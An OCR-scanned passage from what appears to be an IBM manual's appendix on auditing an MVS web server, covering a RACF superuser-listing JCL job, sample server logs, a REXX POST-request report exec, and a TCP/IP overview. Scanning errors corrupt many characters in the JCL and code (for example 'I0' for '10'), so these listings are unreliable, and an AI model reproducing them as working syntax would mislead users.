/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg912.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg913.gif 
/usr/1pp/internet/ServerRoot/BonusPak/Images/imvg914.gif 
/usr/1pp/internet/envvars 
/etc/httpd.conf 

/tmp/wwwl ogs/httlog.Eeb2996.2352 

/tmp/wwwlogs/htterr.Eeb2996.2352 

/usr/1 pp/i nternet/ServerRoot/httpd-pid 

/usr/1pp/internet/ServerRoot/BonusPak 

/usr/1pp/internet/ServerRoot/BonusPak/imvh000.html s 

/usr/1pp/internet/ServerRoot/BonusPak/Custom/imvh900.html 

/usr/1pp/internet/ServerRoot/BonusPak/imvhfoot.html s 

/usr/1pp/internet/ServerRoot/BonusPak/Images/i mvg000.gif 

/usr/1 pp/internet/ServerRoot/BonusPak/Custom/imvghead.gif 

/usr/1pp/internet/ServerRoot/BonusPak/cgi-bin/cgi-query.rexx 

./cgi-query.rexx 

/usr/1pp/internet/envvars 

/usr/1pp/internet/ServerRoot/cgi -bi n/cgi utils 

/usr/1pp/internet/envvars 

itsopub.txt 

/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg000.gif 
/usr/1pp/internet/ServerRoot/BonusPak/Custom/imvghead.gi f 
/usr/1pp/internet/ServerRoot/BonusPak/Images/request.gif 
/usr/1pp/internet/ServerRoot/BonusPak/Sal es/i mvh203.html s 
/usr/1 pp/internet/ServerRoot/BonusPak/Sal es/i mvh900.html 
/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvhfoot.htmls 
/usr/1 pp/internet/ServerRoot/BonusPak/Custom/imvghead.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg911.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg912.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg910.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg918.gif 
/usr/1 pp/i nternet/ServerRoot/BonusPak/Images/imvg919.gif 
/usr/1pp/internet/envvars 

/usr/1 pp/i nternet/ServerRoot/BonusPak/cgi-bin/cgi-query.rexx 

./cgi-query.rexx 

/usr/1pp/internet/envvars 

/usr/1 pp/internet/ServerRoot/cgi-bin/cgiutils 

/usr/1pp/internet/envvars 


Figure 39. Sample Output of ICETOOL 










C.3 List the Superusers 

This topic describes the sampie job that can be used to iist the users that have 
the superuser authority specified in their RACF user profiie. This job is based on 
the RACF database unioad utiiity. 

C.3.1 RACF Database Unload Utility (IRRDBUOO) 

The RACF database hoids an instaiiation's security data. This data is used to 
controi access to resources, verify users, and generate a variety of reports 
deaiing with system usage and integrity. Standard reports are provided and 
used to determine whether the instaiiation's security objectives are being met. 

The RACF database unioad utiiity enabies instailations to create a sequentiai file 
from an RACF database. The sequential file can be viewed directly, used as 
input for installation-written programs, and manipulated with sort/merge utilities. 
It can also be uploaded to a database manager, such as DB2, to process 
complex inquiries and create installation-tailored reports. 

You can use the IRRDBUOO utility for some diagnosis functions. Because this 
utility reads every profile in the RACF database, it also validates profile data 
such as lengths and count, fields that are needed to read each profile 
successfully. 

IRRDBUOO processes either a copy of the RACF database, a backup RACF 
database, or the active RACF database. You must have UPDATE authority to the 
database. It is recommended that you run the utility against a recent copy of 
your RACF database using the NOLOCKINPUT parameter. 

While processing, IRRDBUOO serializes on one profile at a time (this is also the 
case in IRRUT100 processing). When IRRDBUOO has finished copying a profile, it 
releases the serialization. Consider this possible impact to performance if you 
select your active RACF database as input. Running IRRDBUOO against a copy 
of the database causes the least impact to system performance. 

The output records of IRRDBUOO are determined by the structure of the RACF 
database. The utility unloads all of the profiles in the database. It does not 
unload all of the fields in each profile and treats some fields in a special way. 
Fields that contain customer data are unloaded exactly as they appear in the 
database. Encrypted and reserved fields are not unloaded. Although the 
maximum length unloaded for most fields is 255 bytes, all 1023 bytes of data for 
the HOME and PROGRAM fields in the user's OMVS segment are unloaded. 

The database unload utility uses the class descriptor tables (IBM-supplied and 
installation-defined) as it unloads profiles. If your database is imported from 
another system, you may also have to import the class descriptor tables 
(ICHRRCDX and ICHRRCDE). Classes are unloaded only if there is an entry for 
them in ICHRRCDE or ICHRRCDX on the system running the utility. 

To correlate the RACF profiles with the data unloaded by the utility and for the 
conversion rules of the database unload utility, see RACF Macros and Interfaces. 
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C.3.2 Sample Job to List All Superusers in Your System 

The job that lists all the superusers on your system consists of two steps. The 
first step (UNLOAD) produces a flat file of your RACF database. The second step 
(SELECT) selects the specified fields from the selected records in the flat file, 
sorts them and list the fields in the output, as follows: 

//AUDITS JOB (999,POK),AUDITOR,CLASS=A, 

// MSGCLASS=X,TIME=I0,MSGLEVEL=(1,1),NOTIFY=AUDITOR 

//UNLOAD EXEC PGM=IRRDBU00,PARM=NOLOCKINPUT 
//SYSPRINT DD SYS0UT=* 

//INDDI DD DISP=SHR,DSN=SYSI.RACF 

//OUTDD DD DISP=(NEW,PASS,DELETE),DSN=AUDITOR.IRRDBU, 

// SPACE=(CYL,(2,I,0)),UNIT=SYSDA, 

// DCB=(RECFM=VB,LRECL=4096,BLKSIZE=0) 

//SELECT EXEC PGM=ICET00L 
//TOOLMSG DD SYS0UT=* 

//PRINT DD SYS0UT=* 

//DFSMSG DD SYS0UT=* 

//INDD DD DSN=AUDITOR.IRRDBU,DISP=(SHR,PASS,DELETE) 

//TEMPOOOI DD DISP=(NEW,DELETE,DELETE), 

// SPACE=(CYL,(5,I,0)),UNIT=SYSDA 

//TOOLIN DD * 

COPY FROM(INDD) TO(TEMPOOOI) USING(SELU) 

DISPLAY FROM(TEMPOOOl) LIST(PRINT) - 
PAGE - 

TITLE('USERS WITH SUPERUSER AUTHORITY') - 
DATE(YMD/) - 
TIME(I2:) - 
BLANK - 

0N(I0,8,CH) HEADER('USER ID') - 
0N(30,60,CH) HEADER('HOME PATH') - 
0N(1054,22,CH) HEADER('DEFAULT PROGRAM') 

/* 

//SELUCNTL DD * 

SORT FIELDS=(I0,8,CH,A) 

INCLUDE COND=(5,4,CH,EQ,C'0270',AND, 

19,10, CH, EQ, C'OOOOOOOOOO') 

OPTION VLSHRT 
//* 

The following job control statements are necessary for executing IRRDBUOO: 

EXEC Specifies the program name (PGM = IRRDBU00) or, if the job 

control statements are in a procedure library, the procedure 
name. You must request IRRDBUOO processing options by 
specifying a parameter in the FARM field. 

SYSPRINT DD Defines a sequential message data set. 

INDDn DD Defines the RACF input data set that makes up the RACF 

database. The input data sets must have all of the characteristics 
of an RACF database; that is, they must be contiguous 
single-extent data sets, non-VIO, with a logical record length 
(LRECL) of 4096 and a record format (RECFM) of fixed (F). 

The n in INDDn refers to the location of the database name in the 
database name table (ICFIRDSNT). If you have not split your RACF 
database, you only have to specify INDDI. If you have split your 
RACF database, you can unload each part with a separate utility 
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invocation and specify INDD1 for the input data set, or you can 
unload all of the parts with one utility invocation. 

Note: When unloading all parts, specify INDD statements in the 
same order as they appear in the RACF database name table. For 
example: 

INDDl First RACF database name 
INDD2 Second RACF database name 

OUTDD DD Defines the single sequential output data set. The output of 
IRRDBUOO Is a set of variable length records. 

The size of the output data set is roughly estimated as twice the 
size of the used portion of the input data set, but you must also 
consider the type of profiles in your database. For example, 
profiles that have variable length fields, such as Installation data, 
require more space when they are unloaded, because the 
maximum size of the field Is unloaded (up to 255 bytes or, for the 
HOME and PROGRAM fields, up to 1023 bytes). 

Determine the percentage of space your database Is using by running the 
IRRUT200 utility, and use that percentage to guide you in allocating the output 
file. For example. If your database has 100 cylinders allocated and you are using 
35% of it, you need approximately 70 cylinders for your output file. 

OUTDD Is a variable blocked data set {RECFM=VB) with a minimum 
recommended LRECL value of 4096. 

The LRECL for the output data set must be at least as large as the largest record 
created by IRRDBUOO. IBM recommends choosing a larger value so that If the 
size of the output records Increases when new fields are added, you do not have 
to change your data set allocations. IBM recommends a value of 4096. 

When you run the database unload utility, one of the following parameters must 
be specified: NOLOCKINPUT, LOCKINPUT, or UNLOCKINPUT. You can 
abbreviate the parameter to N, L, or U, respectively. For the least Impact to 
system performance, use a copy of your RACF database as Input and specify the 
NOLOCKINPUT parameter. 

Refer to Resource Access Control Facility Security Administration Guide for more 
details on how to run the IRRDBUOO utility. 

C.3.3 Selecting the Records and Fields 

The ICETOOL is a multipurpose batch front end DFSORT utility. Among a lot of 
other things, ICETOOL can create an output data set that contains a subset of the 
input data set based on various criteria for character and numeric field values. 

It can create data sets that show character and numeric fields In a variety of 
simple and tailored report formats allowing, for example, headings for selected 
fields. 

The following job control statements are necessary for executing ICETOOL: 

EXEC Specifies the program name {PGM = ICETOOL). 

TOOLMSG DD Message data set generated by ICETOOL. 

PRINT DD Data set for the generated report. The name of this DD 

statement is determined by the LIST keyword In the DISPLAY 
parameter. 
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DFSMSG DD Data set for messages produced by DFSORT as it selects the 
IRRADUOO records. 


INDD DD 


TEMP0001 

TOOLIN DD 


The input data set (result from SMF data unload utility program) 
for this report, which is determined by the FROM keyword in the 
SORT parameter. 

Specifies a temporary data set, which is determined by the 
name you specify in the TO keyword of the SORT statement. 

Specifies control statements for the ICETOOL. 


The COPY operator In the TOOLIN DD statement uses the DFSORT control 
statements that are specified by the SELUCNTL DD statement. The SELUCNTL 
DD statement is pointed to by the USING keyword (append the characters CNTL 
to the USING value to create a complete DD name). Note that the USING value 
must be exactly four characters. 


Selection criteria can be specified by the Installation that runs this tool. Input is 
the sequential file produced by IRRDBUOO. 


C.3.4 Sample List of User with Superuser Authority 

Each record that is produced by the RACE database unload utility contains a 
record type. This record type Is a 4-byte Identification number that Is located in 
the first four positions of every record. 

Each record type has its own mapping rule. See Resource Access Control 
Facility Macros and Interfaces for a complete description of the record layouts. 

The sample job that Is described In this appendix does the following: 

1. Checks the record type to see If this Is an User OMVS Data record (record 
type 0270) 

2. Checks USOMVS_UID field within User OMVS Data records to see If this is a 
UID(O) user 

3. If both criteria are met, the tool writes the following information to the output 
data set: 

• The user ID as It Is specified In the user profile 

• The OMVS home path that Is associated with the UID 

• The OMVS default program associated with the UID 

The auditors can select the records and the fields based on what they are 
looking for. Since we did not expect path names longer than 60 characters, we 
limited the number of characters that are displayed. The output file has a fixed 
record length of 133 characters. 

- Attention - 

The input for the ICETOOL are variable-length records. The first data byte of 
a VLR record has relative position 5 because the first 4 bytes contain the 
record descriptor word (RDW). So you need to add 4 to the offset that is 
shown in the format description for the records. DFSORT considers the RDW 
as part of the selectable record. 


For more Information on the ICETOOL, see DFSORT Application Programming 
Guide. 
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Figure 40 on page 167 shows the output of the job that is described in this 
appendix. 

1- 1 - USERS WITH SUPERUSER AUTHORITY 96/03/04 11:48:36 am 


USER ID 

HOME PATH 

DEFAUET PROGRAM 

MEREIN 

/usr/1pp/internet/ServerRoot 

/bin/sh 

OMVSKERN 

/ 


PEACOCB 

/usr/1pp/internet/ServerRoot/BonusPak 

/bin/sh 

RLOGIND 

/ 

/bin/sh 

ROOT 

/ 

/bin/sh 

WEBSRV 

/usr/1pp/internet 

/bin/sh 


Figure 40. Sample Output of List Superusers Job 


C.4 Web Server Logs 

The Internet Connection Server for MVS/ESA can log all Incoming requests to an 
access log file. It also has an error log where Internal server errors are logged. 
All log files are generated using the common log file format that several Web 
servers use. This provides the possibility of using some of the generic statistics 
programs to analyze the log file contents. This topio describes a REXX exec to 
analyze the Web server access log. 

You can use directives in the configuration file to oontrol the Web server's logs. 

Figure 41 on page 168 shows a sample of the ErrorLog. The server logs Internal 
errors in this log. The server starts a new log file each day at midnight if it is 
running. Otherwise, the server starts a new log file the first time you start It on 
a given day. 

Figure 42 on page 169 shows a sample of the AocessLog. This log file contains 
a log of all requests. The server starts a new log file each day at midnight if it is 
running. Otherwise, the server starts a new log file the first time you start It on 
a given day. 

The common logflle format Is as follows: 

Remotehost The remote host name (or IP address If DNS host name is not 
available, or if DSNLookup is Off) 

Authuser The user name authentioated by the user 

Date Date and time of the request 

Request The request line exactly as It came from the client 

Status The FITTP status code returned to the client 

Bytes The content length of the document transferred 
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■06D32B7800000000“: •26/Feb/1996:08:06:59 +0500“ Log opened. 

■06D3AD50000000ED“: ■26/Feb/1996:09:10:44 +0500“ -MULTI FAILED** -host: 9.12.14.71“ /imvgOOO.gif 

•06D3AD50000000EF**: •26/Feb/1996:09:10:45 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOl.gif 

-06D3AD50000000F3**: -26/Feb/1996:09:10:55 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOO.gif 

-06D3AD50000000F5**: -26/Feb/1996:09:10:56 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOl.gif 

-06D39C00000000F7**: -26/Feb/1996:09:10:56 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOl.gif 

-06D3AD50000000F9**: -26/Feb/1996:09:ll:04 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOl.gif 

-06D3AD50000000FB**: -26/Feb/1996:09:22:46 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOl.gif 

-06D3AD50000000FF**: -26/Feb/1996:09:22:58 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /BonusPak/Images/imvgOOl.gif 

-06D3AD5000000101**: -26/Feb/1996:09:25:46 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /imvgOOl.gif 

-06D3AD5000000105**: -26/Feb/1996:09:25:49 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /BonusPak/Images/imvgOOl.gif 

-06D3AD5000000107**: -26/Feb/1996:09:25:50 +0500“ -MULTI EAILED** -host: 9.12.14.71“ /BonusPak/Iniages/inivg501.gif 

-06D403E000000153**: -26/Feb/1996:09:59:37 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 
-06D403E000000185**: -26/Feb/1996:10:11:46 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /Images/imvgOOl.gif 

-06D403E00000018D**: -26/Feb/1996:10:12:38 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /Images/imvgOOl.gif 

-06D403E0000001A9**: -26/Feb/1996:10:17:23 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/Support/imvhllO.htmls 
-06D403E0000001AD**: -26/Feb/1996:10:21:46 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /Images/imvgOOl.gif 

-06D403E0000001B1**: -26/Feb/1996:10:22:00 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /imvgOOO.gif 

-06D403E0000001B3**: -26/Feb/1996:10:22:03 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /BonusPAK/imvgOOl.gif 

-06D403E0000001B5**: -26/Feb/1996:10:22:09 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /Images/imvgOOl.gif 

-06D403E0000001B9**: -26/Feb/1996:10:22:17 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /imvgOOO.gif 

-06D403E0000001BB**: -26/Feb/1996:10:22:23 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /BonusPAK/imvgOOl.gif 

-06D403E0000001BD**: -26/Feb/1996:10:23:36 +0500“ -MULTI EAILED** -host: redcap.bedfont.uk.ibm.com** /Images/imvgOOl.gif 

-06D403E0000001DD**: -26/Feb/1996:10:50:56 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E0000001F9**: -26/Feb/1996:11:14:10 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E0000001FD**: -26/Feb/1996:ll:15:39 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E000000201**: -26/Feb/1996:11:16:01 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E000000217**: -26/Feb/1996:11:18:07 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E000000243**: -26/Feb/1996:ll:45:20 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E000000259**: -26/Feb/1996:11:46:13 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E00000026F**: -26/Feb/1996:ll:47:25 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E000000285**: -26/Feb/1996:11:48:17 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E00000029B**: -26/Feb/1996:ll:48:54 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 

-06D403E0000002B1**: -26/Feb/1996:ll:52:07 +0500“ -MULTI EAILED** -host: 9.12.14.211“ /BonusPak/imvgOOO.gif 


Figure 41. Sample Web Server ErrorLog 






06D3D898000005B0“ 

9.12.14.66 - 

06D3CFF0000005B1“ 

9.12.14.66 - 

06D3D898000005B2“ 

9.12.14.66 - 

06D3D898000005B3“ 

9.12.14.66 - 

06D3D898000005B4“ 

9.12.14.66 - 

06D3D898000005B5“ 

9.12.14.66 - 

06D3D898000005B6“ 

9.12.14.66 - 

06D3D898000005B7“ 

9.12.14.66 - 

06D3CFF0000005B8“ 

9.12.14.66 - 

06D3D898000005B9“ 

9.12.14.66 - 

06D3D898000005BA“ 

9.12.14.66 - 

06D3CFF0000005BB“ 

9.12.14.66 - 

06D3BEA0000005BC“ 

9.12.14.66 - 

06D3D898000005BD“ 

9.12.14.66 - 

06D3D898000005BE“ 

9.12.14.66 - 

06D3CFF0000005BF“ 

9.12.14.66 - 

06D3BEA0000005C0“ 

9.12.14.66 - 

06D3A4A8000005C1“ 

9.12.14.66 - 

06D3D898000005C2“ 

9.12.14.66 - 

06D3D898000005C3“ 

9.12.14.66 - 

06D3D898000005C4“ 

9.12.14.66 - 

06D3D898000005C5“ 

9.12.14.66 - 

06D3D898000005C6“ 

9.12.14.66 - 

06D3CFF0000005C7“ 

9.12.14.66 - 


- •07/Mar/1996:10:26:47 +0500“ "GET 

- •07/Mar/1996:10:26:47 +0500“ "GET 

- •07/Mar/1996:10:26:47 +0500“ "GET 

- •07/Mar/1996:10:26:56 +0500“ "GET 
kingma -OT/Mar/lOge:10:27:09 +0500“ 

- •07/Mar/1996:10:27:09 +0500“ "GET 

- •07/Mar/1996:10:27:10 +0500“ "GET 
kingma -OT/Mar/lOge:10:27:11 +0500“ 
kingma •07/Mar/1996:10:27:11 +0500“ 
kingma •07/Mar/1996:10:27:12 +0500“ 

- •07/Mar/1996:10:27:15 +0500“ "GET 

- •07/Mar/1996:10:27:15 +0500“ "GET 

- •07/Mar/1996:10:27:15 +0500“ "GET 

- •07/Mar/1996:10:27:15 +0500“ "GET 

- •07/Mar/1996:10:27:16 +0500“ "GET 

- •07/Mar/1996:10:27:16 +0500“ "GET 

- •07/Mar/1996:10:27:17 +0500“ "GET 

- •07/Mar/1996:10:27:17 +0500“ "GET 

- •07/Mar/1996:10:27:18 +0500“ "GET 

- •07/Mar/1996:10:27:22 +0500“ "GET 

- •07/Mar/1996:10:27:22 +0500“ "GET 

- •07/Mar/1996:10:27:24 +0500“ "GET 

- •07/Mar/1996:10:27:25 +0500“ "GET 

- •07/Mar/1996:10:27:25 +0500“ "GET 


Figure 42. Sample Web Server AccessLog 


/BonusPak/Iniages/imvg916.gif HTTP/1.0" 200 1649 
/BonusPak/Iniages/imvg918.gif HTTP/1.0" 200 1828 
/BonusPak/Iniages/imvg919.gif HTTP/1.0" 200 3703 
/Sales/imvh200.htmls HTTP/1.0" 401 231 
"GET /Sales/imvh200.htmls HTTP/1.0" 200 8599 
/Images/imvgOOO.gif HTTP/1.0" 200 5420 
/BonusPak/Custom/imvghead.gif HTTP/1.0" 200 6230 
"GET /Sales/imvg203.gif HTTP/1.0" 200 6397 
"GET /Sales/imvg201.gif HTTP/1.0" 200 4178 
"GET /Sales/imvg202.gif HTTP/1.0" 200 1858 
/BonusPak/Images/imvgOlO.gif HTTP/1.0" 200 2571 
/BonusPak/Images/imvg911.gif HTTP/1.0" 200 2420 
/BonusPak/Iniages/imvg912.gif HTTP/1.0" 200 2575 
/BonusPak/Iniages/imvg913.gif HTTP/1.0" 200 2574 
/BonusPak/Iniages/imvg914.gif HTTP/1.0" 200 2388 
/BonusPak/Iniages/imvg915.gif HTTP/1.0" 200 2499 
/BonusPak/Images/imvg916.gif HTTP/1.0" 200 1649 
/BonusPak/Iniages/imvg918.gif HTTP/1.0" 200 1828 
/BonusPak/Iniages/imvg919.gif HTTP/1.0" 200 3703 
/ HTTP/1.0" 200 9853 

/BonusPak/Images/imvgOOO.gif HTTP/1.0" 200 5420 
/BonusPak/Custom/imvghead.gif HTTP/1.0" 200 6230 
/BonusPak/Images/imvg911.gif HTTP/1.0" 200 2420 
/BonusPak/Images/imvg912.gif HTTP/1.0" 200 2575 



C.4.1 Sample REXX Exec to Report POST Requests 

To audit server requests, you might want to use a REXX exec such as the 
sampie one contained in Figure 44 on page 171. This particuiar exec generates 
a report of aii POST requests in an access iog that is specified when the exec is 
invcked. The access icg (an HFS fiie) is copied tc a sequentiai data set. Each 
iine of this input data set is searched for the keyword POST. If found, 
appropriate fieids from that iine of the iog are extracted and written to another 
sequentiai data set in report format. 

To run a report showing POST requests fcr a icg with a date of 03/19/96 and a 
time stamp cf 2123, the exec (AUDITRPT) wouid be invoked in the folicwing 
manner from iSPF option 6: 

EX ' userid.REXX(AUDITRPT)' 'Marl996.2123' 

Note: Because the access icg is an HFS fiie, the date suppiied tc the exec is 
case sensitive. Entering the month as anything other than Mar wouid cause the 
exec to faii. 

Sampie output from the AUDITRPT exec is shown in Figure 43. 

POST Activities (from log dated: Marl996.2123) 


TIME 

IP ADDRESS/AUTHENTICATION-ID 

STATUS CODE 

FILE NAME 

16:51:31 

9.12.14.181 

200 

/BonusCGI/imvpSOl.perl 

16:52:09 

9.12.14.181 

200 

/BonusCGI/imvpSOl.perl 

16:53:02 

9.12.14.181 

200 

/BonusCGI/imvrSOl.rexx 

16:54:00 

9.32.143.2 

200 

/BonusCGI/imvrSOl.rexx 

16:54:38 

9.32.143.2 

200 

/BonusCGI/imvrSOl.rexx 

16:54:48 

9.12.14.181 

200 

/BonusCGI/imvpSOl.perl 

16:55:39 

9.32.143.2 

200 

/BonusCGI/imvrSOl.rexx 


Figure 43. Sample Output REXX Exec that reports POST Requests 
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/* REXX */ 

/* This exec searches for the HTTP request 'POST' in a Webserver log.*/ 
/* When found, the information associated with all POST activities */ 

/* is formatted and copied into an output dataset in the form of a */ 

/* report. */ 

PARSE ARG date_time /* place input parameter into variable */ 

date = LEFT(date_time,7) /* split variable into date */ 

time = RIGHT(date_time,4) /* and time */ 

userid = SYSVAR(sysuid) /* retrieve userid of invoker */ 

postct =0 /* initialize count of POST requests */ 

msgstat = MSG("0FF") /* Turn TSO messages OFF */ 

X = SYSDSN(ACCLOG) /* Check for existence of data set; */ 

if X = 'OK' then /* if found, delete it */ 

"DELETE (ACCLOG)" 

/* Convert specified access log to a */ 

/* TSO sequential data set */ 


"OGET '/ tmp/wwwlogs/httlog."date_time"' '"userid".ACCLOG'" 


"ALLOC DA(ACCLOG) F(newlog) SHR REUSE" /* Allocate input data set */ 

X = SYSDSN(0UTL0G.date.'t'time) /* Check for existence of data set; */ 
if X = 'OK' then /* if found, delete it */ 

"DELETE (0UTL0G."date".t"time")" 

"FREE F(outfile)" /* Close output data set */ 

/* Allocate output data set */ 

"ALLOC DA(0UTL0G."date".t"time") F(outfile) LIKE(ACCLOG)" 
msgstat = MSG(msgstat) /* Turn TSO messages back on */ 

/* Read entire access log into an array */ 
"EXECIO * DISKR newlog (FINIS STEM logfile." 

/* Starting from bottom of file, */ 

/* separate each line of report into */ 

/* variables (first line of log is */ 

/* skipped). */ 

Do rowct = logfile.O to 2 by -I 

parse var logfile.rowct . ': ' ipaddr ' - ' authID , 

hhmmss ' ' . "" request ' ' filename statcode . 

parse_RC = RC /* Store return code from parse */ 

if authID \= '-' then /* If authentication ID exists, add it */ 

ipaddr = ipaddrj |'-'11 authID /* to the IP address */ 

Figure 44. Sample Exec to Create Audit Report (Part 1) 


Appendix C. Sample Auditing Jobs 171 



if parse_RC = 0 then /* If parses without errors... */ 

/* and HTTP request is POST, increment */ 
/* post count, truncate file name, put */ 
/* formatted report 1ine on program */ 
/* stack */ 

Do 

if request = 'POST' then 
Do 


postct = postct + 1 
filename = LEFT(filename,65) 

PUSH LEFT(hhmmss,ll) LEFT(ipaddr,33) CENTER(statcode,14), 
fi1ename 


end 


end 

else SAY ' error parsing file ' /* If parse 

/* message, 
end 

/* Display message 
/* found in access 

if postct = 0 then 

SAY ' Log does not contain any POST entries. ' 


fails, display error */ 
*/ 

if no POST requests */ 
log. */ 


else 

Do 

PUSH ' 


/* Place header lines in program stack */ 


PUSH LEFT('TIME',11) LEFT('IP ADDRESS/AUTHENTICATION-ID',33), 
LEFT('STATUS CODE', 14) 'FILE NAME' 

PUSH " 

PUSH ' POST Activities (from log dated:', 

date_time')' 


/* Increase post count by number of */ 
/* lines in report header. */ 

1ines_to_write = postct + 4 


/* Write report lines to output data */ 
/* set. */ 

"EXECIO" 1ines_to_write "DISKW outfile (FINIS" 


end 

EXIT 

Figure 45. Sample Exec to Create Audit Report (Part 2) 
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Appendix D. A Brief Overview of TCP/iP 


This appendix is copied from TCP/IP Tutorial and Technical Overview. It 
provides a comprehensive overview of the TCP/IP protocols. 


D.1 Internet Layers 

As depicted in Figure 46, the Internet protocols can be modeled in four 
functional layers. 
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Figure 46. TCP/IP Protocol 

Application 

This is a user process cooperating with another process on the same or a 
different host. Examples are Telnet (protocol for remote terminal 
connections), FTP (File Transfer Protocol) and SMTP (Simple Mail Transfer 
Protocol). 

Transport 

This provides the end-to-end data transfer. Example protocols are TCP 
{connection-oriented) and UDP. 

Internetwork 

This provides the virtual network image of Internet (that is, this layer 
shields the higher levels from the typical network architecture below it). IP 
is the most important protocol here. It does not provide reliability, flow 
control or error recovery, and it also does not assume reliability from the 
lower layers. It is a connectionless protocol. 

Network Interface 

This is the interface to the actual network hardware. This interface may or 
may not provide reliable delivery, and may be packet or stream oriented. 

In fact, TCP/IP does not specify any protocol here, but can use almost any 
network interface available, which illustrates the flexibility of the IP layer. 
Examples are IEEE** 802.2 (for local area networks such as the IBM 
Token-Ring Network or the collision-detect IEEE 802.3 networks), X.25 
(which is reliable in itself). Packet Radio Networks (such as the AlohaNet) 
and even SNA. The possible physical networks and interfaces that the IBM 
TCP/IP products can connect to are discussed in TCP/IP Tutorial and 
Technical Overview. 
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The actual interactions between the layers are shown by the arrows in 
Figure 46. A more detailed layering model is shown in Figure 47 on page 174. 



Figure 47. TCP/IP Layering Model 


D.2 Internetwork Layer 

The internet layer hides the underlying physical network by creating a virtual 
network view. It is an unreliable, best-effort, connectionless packet delivery 
protocol. 

D.2.1 IP Addressing 

IP addresses are used to specify source and target hosts on the Internet. There 
are two logical addresses in each IP address, as follows: 

IP address = <network adrdress><host address> 

The network address is unique, representing the physical network within the 
Internet. 

The local address specifies an individual host or a gateway within the network 
(see IP Gateway). 

D.2.2 IP Datagram 

The Internet datagram is the base transfer packet in the Internet protocol suite. It 
has a header containing information for IP, and data that is only relevant to the 
higher level protocols. 


D.2.3 IP Routing 

An important function of the IP layer is IP routing. It forms the basic mechanism 
for IP gateways, for interconnecting different physical networks. 

The IP routing mechanism only considers the IP network address part of 
destination IP addresses. 

Each host keeps the following mapping in a table called the IP routing table: 

• Destination IP network address 

• Route to next gateway 
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Figure 48 depicts a TCP/IP network and shows how addressing is estabiished. 



Figure 48. IP Network Addresses 

The hosts in this network do have the foiiowing IP addresses: 

A= 128.10.1.2 
B= 128.10.1.1 128.15.1.4 
X= 128.15.1.1 
Y= 128.15.1.2 
C= 128.15.1.3 129.7.1.1 
0= 129.7.1.2 130.5.1.1 
E= 130.5.1.2 

The route table of host B will contain the following entries: 


128.10 

direct attachment 

128.15 

direct attachment 

129.7 

128.15.1.15 

default 

128.15.1.3 
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D.2.4 IP Gateway 

Figure 49 depicts the IP Gateway function. 


Application 


TCP 

IP 



'‘IP route 

Interface 



Interface 



► 


Application 


TCP 


'‘IP route 


“ IP 

Interface 


Interface 

-► 


► 


Figure 49. IP Gateway Routing 

This example shows sending a packet from Host A to Host D, so the destination 
address is Host D address. 

• Destination address and Host A address are different. 

• Is destination address In route? 

• If not, go to default address. 

• Go that way until destination address and address of the host are different. 

An Incoming IP datagram that specifies a destination IP address other than the 
local host's IP address(es) is treated as a normal outgoing IP datagram. 


D.2.5 IP Subnet 

Subnets are an extension to the standard IP network/host address scheme. In a 
subnet, part of the host address Is considered to be a local network address or 
subnetwork address . IP addresses are then interpreted as follows: 

<network address><subnetwork address><host address> 

Figure 50 on page 177 shows some examples of the application of subnet 
masks. 
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Bit position 01 


16 


31 


01 

Net ID 

Host ID 


Subnet values 

Mask values 


subnet 

addr 

host 

addr 

255.255.255.0 

1111111111111111 

11111111 

00000000 

Mask values 


subnet 

addr 

host 

1 addr 

1 

255.255.255.128 

1111111111111111 

11111111 

10000000 

Mask values 


subnet 

addr 

host 

1 addr 

1 

255.255.255.192 

1111111111111111 

11111111 

11000000 

Mask values 


subnet 

addr 

host 

1 addr 

1 

255.255.255.224 

1111111111111111 

11111111 

11100000 

Mask values 


subnet 

addr 

host 

1 addr 

1 

255.255.255.240 

1111111111111111 

11111111 

11110000 


host address 
available 

255 


128 


64 


32 


16 


IP address 

160.150.140.130 

Subnet Mask 

255.255.255.0 

Network address 

160.150 

Subnet address 

140 

Host address 

160.150.140.1 to 255 

IP address 

